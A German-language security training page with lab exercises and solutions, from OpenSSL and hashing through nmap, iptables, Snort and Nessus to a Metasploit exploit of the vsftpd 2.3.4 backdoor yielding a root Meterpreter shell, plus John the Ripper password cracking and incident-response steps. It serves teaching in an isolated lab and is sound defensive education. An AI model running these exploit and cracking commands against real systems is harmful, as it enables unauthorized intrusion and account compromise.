Security Lab

Praktische Übungen zur IT-Sicherheit – von Verschlüsselung bis Penetration Testing

Security Lab

Praktische Übungen sind der beste Weg, IT-Sicherheit zu lernen. Diese Seite bietet eine Sammlung von Übungen – von einfachen Verschlüsselungsverfahren bis zu fortgeschrittenen Penetration-Testing-Techniken. Wichtig: Alle Übungen nur in einer isolierten Lab-Umgebung durchführen!

Level 1: Grundlagen Level 2: Netzwerksicherheit Level 3: Pentesting
Wichtiger Hinweis: Alle Übungen auf dieser Seite dürfen NUR in einer isolierten Lab-Umgebung durchgeführt werden. Verwenden Sie virtuelle Maschinen, die nicht mit dem Internet verbunden sind (z.B. Kali Linux als Angreifer, Metasploitable als Ziel). Penetration-Testing gegen fremde Systeme ohne Erlaubnis ist strafbar!

1. Lab-Umgebung einrichten

Für Security-Übungen brauchen Sie eine isolierte Umgebung mit Angreifer- und Zielsystemen.

Angreifer: Kali Linux

Kali Linux ist die Standard-Distribution für Penetration Testing.

  1. Laden Sie Kali Linux als VM-Image von kali.org herunter.
  2. Importieren Sie die VM in VirtualBox/VMware.
  3. Stellen Sie das Netzwerk auf "Host-Only" oder "Internes Netz".
  4. Login: root / kali (Standard).

Ziel: Metasploitable 2

Metasploitable ist eine absichtlich unsichere Linux-VM für Übungszwecke.

  1. Laden Sie Metasploitable 2 von sourceforge herunter.
  2. Importieren Sie die VM in VirtualBox/VMware.
  3. Stellen Sie das Netzwerk auf "Host-Only" (gleiches Netz wie Kali).
  4. Starten Sie die VM – sie hat viele offene Dienste.

Isoliertes Netzwerk

Konfigurieren Sie ein isoliertes Netzwerk:

  1. In VirtualBox: "Datei" > "Netzwerkmanager" > "Host-Only-Netzwerke".
  2. Erstellen Sie ein neues Host-Only-Netzwerk (z.B. 192.168.100.0/24).
  3. Weisen Sie beiden VMs dieses Netzwerk zu.
  4. Testen Sie die Verbindung: ping 192.168.100.xxx.

2. Kryptographie-Grundlagen (Level 1)

Übungen zu Verschlüsselung und Hashfunktionen mit OpenSSL und Python.

Übung 1.1: Symmetrische Verschlüsselung mit OpenSSL
  1. Erstellen Sie eine Textdatei: echo "Geheime Nachricht" > geheim.txt.
  2. Verschlüsseln Sie die Datei mit AES-256-CBC: openssl enc -aes-256-cbc -salt -in geheim.txt -out geheim.enc -pass pass:meinpasswort.
  3. Entschlüsseln Sie die Datei: openssl enc -d -aes-256-cbc -in geheim.enc -out geheim-dec.txt -pass pass:meinpasswort.
  4. Vergleichen Sie die Dateien: diff geheim.txt geheim-dec.txt.
Lösungen:
# Datei erstellen
echo "Geheime Nachricht" > geheim.txt

# Verschlüsseln
openssl enc -aes-256-cbc -salt -in geheim.txt -out geheim.enc -pass pass:meinpasswort

# Entschlüsseln
openssl enc -d -aes-256-cbc -in geheim.enc -out geheim-dec.txt -pass pass:meinpasswort

# Vergleich
diff geheim.txt geheim-dec.txt # Keine Ausgabe = identisch
Übung 1.2: Hashfunktionen
  1. Erstellen Sie einen Hash einer Datei mit SHA256: sha256sum geheim.txt.
  2. Ändern Sie die Datei minimal (z.B. Punkt hinzufügen).
  3. Berechnen Sie den Hash erneut – vergleichen Sie die Änderung.
  4. Erstellen Sie einen Hash eines Passworts: echo -n "meinpasswort" | sha256sum.
Lösungen:
# SHA256-Hash
sha256sum geheim.txt

# Nach Änderung
echo "Geheime Nachricht." > geheim2.txt
sha256sum geheim2.txt

# Passwort hashen (ohne Zeilenumbruch)
echo -n "meinpasswort" | sha256sum

3. Passwort-Sicherheit (Level 1)

Übungen zu Passwortstärke und Hashing.

Übung 2.1: Passwort-Cracking mit John the Ripper

Voraussetzung: Kali Linux oder installiertes John the Ripper.

  1. Erstellen Sie eine Datei mit einem einfachen Passwort-Hash: echo "testuser:$(openssl passwd -1 -salt xyz 123456)" > passwd.txt.
  2. Führen Sie John the Ripper aus: john passwd.txt.
  3. Zeigen Sie das geknackte Passwort an: john --show passwd.txt.
Lösungen:
# Passwort-Hash erstellen (MD5)
echo "testuser:$(openssl passwd -1 -salt xyz 123456)" > passwd.txt

# John ausführen
john passwd.txt

# Ergebnis anzeigen
john --show passwd.txt
Übung 2.2: Passwortstärke prüfen
  1. Installieren Sie "cracklib-check" (Linux): sudo apt install libcrack2-utils.
  2. Testen Sie verschiedene Passwörter:
    • echo "123456" | cracklib-check
    • echo "Passwort123!" | cracklib-check
    • echo "MeinSuperSicheresPasswort2024!" | cracklib-check
Lösungen:
# Installation
sudo apt install libcrack2-utils

# Test verschiedener Passwörter
echo "123456" | cracklib-check
123456: es ist zu kurz
echo "Passwort123!" | cracklib-check
Passwort123!: OK
echo "MeinSuperSicheresPasswort2024!" | cracklib-check
MeinSuperSicheresPasswort2024!: OK

4. Netzwerksicherheit (Level 2)

Firewalls, Port-Scans und Netzwerk-Analyse.

Übung 3.1: Port-Scan mit Nmap

Verwenden Sie Kali Linux und scannen Sie Metasploitable.

  1. Finden Sie die IP-Adresse von Metasploitable: ip addr show (auf Metasploitable).
  2. Führen Sie einen einfachen TCP-Scan durch: nmap -sS 192.168.100.xxx.
  3. Führen Sie einen detaillierten Scan mit Service-Erkennung durch: nmap -sV 192.168.100.xxx.
  4. Führen Sie einen aggressiven Scan durch: nmap -A 192.168.100.xxx.
Lösungen:
# Einfacher TCP-Scan
nmap -sS 192.168.100.10

# Service-Versionen erkennen
nmap -sV 192.168.100.10

# Aggressiver Scan (OS + Version + Scripts)
nmap -A 192.168.100.10

# Scan aller Ports (1-65535)
nmap -p- 192.168.100.10
Übung 3.2: Firewall-Regeln mit iptables

Konfigurieren Sie eine einfache Firewall auf einem Linux-System.

  1. Setzen Sie die Default-Policy auf DROP: sudo iptables -P INPUT DROP.
  2. Erlauben Sie SSH (Port 22): sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT.
  3. Erlauben Sie HTTP (Port 80): sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT.
  4. Erlauben Sie bestehende Verbindungen: sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT.
  5. Speichern Sie die Regeln: sudo iptables-save > /etc/iptables/rules.v4.
Lösungen:
# Default-Policy
sudo iptables -P INPUT DROP

# SSH erlauben
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# HTTP erlauben
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

# Bestehende Verbindungen erlauben
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Regeln speichern (Debian/Ubuntu)
sudo apt install iptables-persistent
sudo iptables-save > /etc/iptables/rules.v4

5. Intrusion Detection (IDS/IPS) mit Snort (Level 2)

Snort ist ein Open-Source-IDS/IPS zur Erkennung von Angriffen.

Übung 4.1: Snort installieren und konfigurieren
  1. Installieren Sie Snort: sudo apt install snort.
  2. Konfigurieren Sie das Netzwerk während der Installation (z.B. 192.168.100.0/24).
  3. Testen Sie Snort: sudo snort -A console -q -c /etc/snort/snort.conf -i eth0.
  4. Führen Sie von einem anderen System einen Port-Scan aus (nmap) und beobachten Sie die Alerts.
Lösungen:
# Snort installieren
sudo apt update
sudo apt install snort

# Snort im Konsolenmodus starten
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

# Von einem anderen System Port-Scan ausführen
nmap -sS 192.168.100.x

6. Penetration Testing (Level 3)

Systematische Sicherheitstests mit verschiedenen Tools.

Übung 5.1: Schwachstellen-Scan mit Nessus

Hinweis: Nessus ist kommerziell, aber es gibt eine kostenlose "Home"-Version.

  1. Laden Sie Nessus von tenable.com herunter und installieren Sie es.
  2. Starten Sie Nessus: sudo systemctl start nessusd.
  3. Öffnen Sie den Browser: https://localhost:8834.
  4. Führen Sie einen Basic Network Scan gegen Metasploitable durch.
  5. Analysieren Sie die gefundenen Schwachstellen.
Lösungen:
# Nessus starten
sudo systemctl start nessusd
sudo systemctl enable nessusd

# Im Browser öffnen
https://localhost:8834

# Nach der Installation: Scankonfiguration
Target: 192.168.100.10
Scan-Typ: Basic Network Scan
Ergebnis: Liste kritischer Schwachstellen

7. Metasploit Framework (Level 3)

Metasploit ist das Standard-Tool für Exploit-Entwicklung und Penetration Testing.

Übung 6.1: Ersten Exploit mit Metasploit

Ziel: Metasploitable 2, Dienst: vsftpd 2.3.4 (bekannte Backdoor).

  1. Starten Sie Metasploit: msfconsole.
  2. Suchen Sie nach vsftpd-Exploits: search vsftpd.
  3. Wählen Sie den Exploit: use exploit/unix/ftp/vsftpd_234_backdoor.
  4. Setzen Sie das Ziel: set RHOST 192.168.100.10.
  5. Führen Sie den Exploit aus: run.
Diese Übung nutzt einen echten Exploit – nur im isolierten Lab durchführen!
Lösungen:
msf6 > search vsftpd
exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.100.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] Started reverse TCP double handler...
[*] 192.168.100.10:21 - Connected...
[*] 192.168.100.10:21 - Sending...
Übung 6.2: Meterpreter-Shell
  1. Nach erfolgreichem Exploit haben Sie eine Meterpreter-Shell.
  2. Zeigen Sie Systeminformationen an: sysinfo.
  3. Zeigen Sie den aktuellen Benutzer: getuid.
  4. Navigieren Sie im Dateisystem: pwd, ls, cd.
  5. Beenden Sie die Session: exit.
Lösungen:
meterpreter > sysinfo
Computer : metasploitable
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)

meterpreter > getuid
Server username: root
meterpreter > pwd
/

8. Incident Response – Reaktion auf Sicherheitsvorfälle (Level 3)

Simulation eines Angriffs und Wiederherstellung.

Übung 7.1: Angriffserkennung und Analyse
  1. Simulieren Sie einen Angriff (z.B. Port-Scan oder Exploit).
  2. Prüfen Sie die Log-Dateien:
    • /var/log/auth.log (SSH-Logins)
    • /var/log/syslog
    • last – letzte Logins
  3. Finden Sie verdächtige Einträge mit grep.
Lösungen:
# Letzte Logins anzeigen
last

# Fehlgeschlagene SSH-Logins
grep "Failed password" /var/log/auth.log

# Aktuelle Verbindungen
netstat -tulpn
ss -tulpn
Übung 7.2: System-Wiederherstellung
  1. Identifizieren Sie geänderte Dateien: sudo find / -type f -mtime -1 -ls.
  2. Prüfen Sie die Integrität kritischer Dateien mit sha256sum (vorher/nachher).
  3. Stellen Sie aus einem Backup wieder her (falls vorhanden).
Lösungen:
# In den letzten 24 Stunden geänderte Dateien finden
sudo find / -type f -mtime -1 -ls 2>/dev/null

# Hash einer Datei prüfen (vorher notieren)
sha256sum /etc/passwd

# Backup einspielen (Beispiel mit rsync)
rsync -av /backup/etc/passwd /etc/passwd

9. Troubleshooting – Häufige Probleme

Typische Sicherheitsprobleme erkennen und lösen.

Problem: "Permission denied"

Szenario: Sie erhalten "Permission denied", obwohl Sie der Besitzer sind.

Lösungsansätze:

  • Dateirechte prüfen: ls -la datei
  • Besitzer prüfen: stat datei
  • Rechte ändern: chmod u+w datei
  • ACL prüfen: getfacl datei

Problem: Firewall blockiert Verbindung

Szenario: Ein Dienst ist lokal erreichbar, aber von außen nicht.

Lösungsansätze:

  • Firewall-Status prüfen: sudo iptables -L -n oder sudo ufw status
  • Port-Test lokal: telnet localhost 80
  • Port-Test extern: nmap -p 80 externe-ip

Problem: Metasploit Exploit funktioniert nicht

Szenario: Exploit schlägt fehl.

Lösungsansätze:

  • Ziel-IP und Port prüfen: set RHOST, set RPORT
  • Payload prüfen: show payloads
  • Dienst-Erreichbarkeit testen: nc -zv ziel-ip port

10. Security Checkliste für Server

Eine Checkliste für die Absicherung von Servern.

  • Alle Standardpasswörter geändert (root, Admin, Datenbanken)
  • SSH: Root-Login deaktiviert, Port geändert (optional), nur Schlüssel-Authentifizierung
  • Firewall aktiviert und nur benötigte Ports offen
  • Automatische Sicherheitsupdates aktiviert
  • Nicht benötigte Dienste deinstalliert oder gestoppt
  • Fail2ban für Brute-Force-Schutz installiert
  • Logging aktiviert und zentral gesammelt (rsyslog, logwatch)
  • Datei-Integritätsprüfung (AIDE, Tripwire) eingerichtet
  • Regelmäßige Backups und Wiederherstellungstests
  • Verschlüsselung für sensible Daten (Festplatten, Backups)
  • Benutzerkonten regelmäßig auf Inaktivität prüfen
  • sudo-Rechte auf das Minimum beschränken (Principle of Least Privilege)
  • Kernel und System regelmäßig aktualisiert
  • Audit-Trail für kritische Änderungen aktiviert
  • Einbruchserkennung (IDS/IPS) installiert (z.B. Snort, OSSEC)

Weiterführende Themen

IT-Sicherheit Grundlagen

Theoretische Grundlagen zu Sicherheitsthemen.

Zur IT-Sicherheit
Netzwerksicherheit

Firewalls, VPNs, IDS/IPS im Detail.

Zu Netzwerksicherheit
Kryptographie

Verschlüsselungsverfahren und Protokolle.

Zur Kryptographie
Networking Lab

Netzwerk-Grundlagen für Sicherheitsexperten.

Zu Networking